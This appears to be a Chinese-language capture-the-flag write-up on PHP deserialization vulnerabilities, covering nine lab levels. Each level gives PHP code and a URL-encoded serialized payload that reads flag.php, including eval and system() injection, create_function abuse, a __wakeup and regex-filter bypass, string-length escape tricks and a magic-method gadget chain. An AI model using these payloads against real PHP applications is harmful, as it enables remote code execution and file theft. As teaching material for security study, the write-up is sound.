serialize() 函数用于序列化对象或数组,并返回一个字符串。
serialize() 函数序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。
如果想要将已序列化的字符串变回 PHP 的值,可使用 unserialize()。
实例:

1
2
3
4
5
<?php
$sites = array('Google', 'Runoob', 'Facebook');
$serialized_data = serialize($sites);
echo $serialized_data . PHP_EOL;
?>

输出:a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}
常见魔术方法的作用和触发条件:

魔术方法 作用
__construct() 创建对象时触发
__destruct() 对象被销毁时触发
__sleep() 在对象被序列化的过程中自动调用,且发生在序列化之前
__wakeup() 该魔术方法在反序列化的时候自动调用,且发生在反序列化之前
__get() 用于从不可访问或不存在的属性读取数据
__set() 用于将数据写入不可访问或不存在的属性
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__toString() 在对象当做字符串的时候会被调用
__invoke() 当尝试将对象调用为函数时触发

level-1

由于本关会获取flag值并将其进行反序列化后执行其action方法将其act值作为php语句执行,所以我们在url中为flag赋值,使其在反序列化后赋给act的值能够输出flag.php。
我们在在线工具中运行如下代码,获取能够输出flag.php的flag的url值。

1
2
3
4
5
6
<?php
class a{
var $act="show_source('flag.php');";
}
$b=new a();
echo urlencode(serialize($b));

运行结果如下图:
level1-1
然后在url后加上一段?flag=O%3A1%3A"a"%3A1%3A%7Bs%3A3%3A"act"%3Bs%3A24%3A"show_source%28%27flag.php%27%29%3B"%3B%7D即可
level1-2

level-2

本关通过login方法进行校验,对param进行反序列化后判断user和pass是否正确,因此,我们通过对账号密码实例进行序列化和url编码即可。
在线运行以下代码:

1
2
3
4
5
6
7
<?php
class mylogin{
var $user="daydream";
var $pass="ok";
}
$b=new mylogin();
echo urlencode(serialize($b));

运行结果如下图,得到param值O%3A7%3A%22mylogin%22%3A2%3A%7Bs%3A4%3A%22user%22%3Bs%3A8%3A%22daydream%22%3Bs%3A4%3A%22pass%22%3Bs%3A2%3A%22ok%22%3B%7D
level2-1
在url后加上param值即可拿到flag:
level2-2

level-3

本关和上一关一样,只是在本关需要cookie传参,在浏览器中添加cookie名称为param,值为O%3A7%3A%22mylogin%22%3A2%3A%7Bs%3A4%3A%22user%22%3Bs%3A8%3A%22daydream%22%3Bs%3A4%3A%22pass%22%3Bs%3A2%3A%22ok%22%3B%7D即可。
level3

level-4

这关利用了一个特性: 当一个数组array中第一个参数是对象,第二个参数是该对象内的方法时,在反序列化该数组时会执行该对象内的该方法.
create_function():用于从字符串参数创建一个匿名函数.
create_function(string $args, string $code): string:$args:字符串参数,用于定义匿名函数的参数。例如,‘a, b’ 将会创建一个接受两个参数 $a 和 b 的函数。
$code:字符串参数,包含匿名函数的主体。这通常是有效的 PHP 代码。
由于本关的param参数并未传递到某个函数,所以我们只能将函数传给param。通过观察代码中所给的两个类,不难发现,一个类可用于存储字符串,一个类可用于执行php代码,于是我们可以通过此段代码获取能够使本关显示flag的param值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class func
{
public $key;
public function __destruct()
{
unserialize($this->key)();
}
}

class GetFlag
{ public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}
$a2=new func();
$b=new GetFlag();
$b->code='}include("flag.php");echo $flag;//';
$b->action="create_function";
$a2->key=serialize(array($b,"get_flag"));
echo urlencode(serialize($a2));
?>

首先array中第一个参数是设计好的GetFlag类的对象,第二个参数是它的方法,这样子充分利用了func类中的反序列化函数。
将array序列化后的值赋值给func的key属性值,这是为了之后反序列化能够实现。接着将func类的对象a2序列化再url转化。
后端函数在接收到序列化值时候,反序列化a2,函数执行结束调用析构函数,使得get_flag函数得以实现。
将取得的param值输入url中即可拿到flag。
level4

level-5

这关目标是要执行类secret的一个实例,这个实例的属性$file需要修改为 $file=flag.php, 但是这关有个魔术方法__wakeup会在反序列化时候修改$file,所以我们需要修改序列化结果,使其中属性数量大于实际数量就可以避免执行__wakeup方法。
先执行如下代码,序列化对象。

1
2
3
4
5
6
<?php
class secret{
var $file='flag.php';
}
$a=new secret();
echo serialize($a);

得到O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
由于本关有一个过滤preg_match(‘/[oc]:\d+:/i’,$cmd),使得字符oc后跟冒号再跟数字的字符串不能通过。因此,我们在冒号后加一个+即可绕过,并将序列化后的字符串的类的数值改大。
再执行echo urlencode('O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}');得到的值即可。
level5

level-6

这一关需要绕过的就是str_replace函数,因为private、public、protect在序列化时候有影响.
Public(公有):被序列化时属性值为:属性名
Protected(受保护):被序列化时属性值为:\x00*\x00属性名
Private(私有):被序列化时属性值为:\x00类名\x00属性

1
2
3
4
5
6
7
8
9
10
<?php
class secret{
private $comm="system('sort flag.php');";
function __destruct(){
echo eval($this->comm);
}
}

$a=new secret();
echo serialize($a);

此代码产生的序列化能够使本关按行排序输出flag.php内容,但private初始化的变量被序列化时会产生%00,用\00替代并将相关的s换成大写即可。
level6

level-7

这里多了一个call方法,这个方法就是如果调用对象中没有的方法就会调用call方法。查看源代码,只要调用一个my类对象没有的方法,并且func和name的值对的上就行。call触发后会把该不存在的方法名直接以参数的形式传入__call方法中。
至于如何调用到my中的方法,就要利用you类中的destruct方法。分析过后,将方法名赋值给pro就行,然后将body指向my的对象,这样$this->body->$project();就可以调用my的方法了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class you
{
private $body;
private $pro='yourname';
function setbody($body)
{
$this->body=$body;
}
}

class my
{
public $name='myname';
}

$a=new you();
$b=new my();
$a->setbody($b);
echo serialize($a);

level7

level-8

即使我们修改了pass的值在反序列化后执行代码中还是会对pass初始化,这里实践是在考察增量逃逸,增量逃逸其实是利用了序列化与反序列化的属性个数检查差异实现。如果我们在user中加入一个}就可以在反序列化时提前闭合,且该方法不会在序列化时闭合。本关中的filter函数会将param中包含的flagphp替换成hack,且将php换成hack时会在序列化格式中产生一个长度差,所以我们在user中每写入一个php就会弥补一个长度差。因为我们需要在user后加入";s:4:"pass";s:8:"escaping";}共29个字符,所以我们需要在user中写入29个php,即 $a=new test('phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}');
最终payload为O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}
本关也可以通过手动修改s的大小防止报错,如O:4:"test":2:{s:4:"user";s:1:"1";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}
level8

level-9

本关出现了多个魔术方法:
__invoke() 当一个类被当作函数执行时调用此方法。
__construct 在创建对象时调用此方法
__toString() 在一个类被当作字符串处理时调用此方法
__wakeup() 当反序列化恢复成对象时调用此方法
__get() 当读取不可访问或不存在的属性的值会被调用
因此,我们先将Modifier中的var值初始化改为flag.php然后添加下面这段语句

1
2
3
4
5
6
7
$a=new Modifier();
$b=new Show();
$c=new Test();

$b->source=$b; //把show类当成字符串赋值给属性source从而触发to_string
$b->source->str=$c; //b类中的source类中的str赋值为Test类,当调用该类中不存在的属性source时触发get
$c->p=$a;//p是Modifier类,当这个类被当成函数调用的时候就会触发该类内的invoke

得到的payload为O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D
上传后即可
level9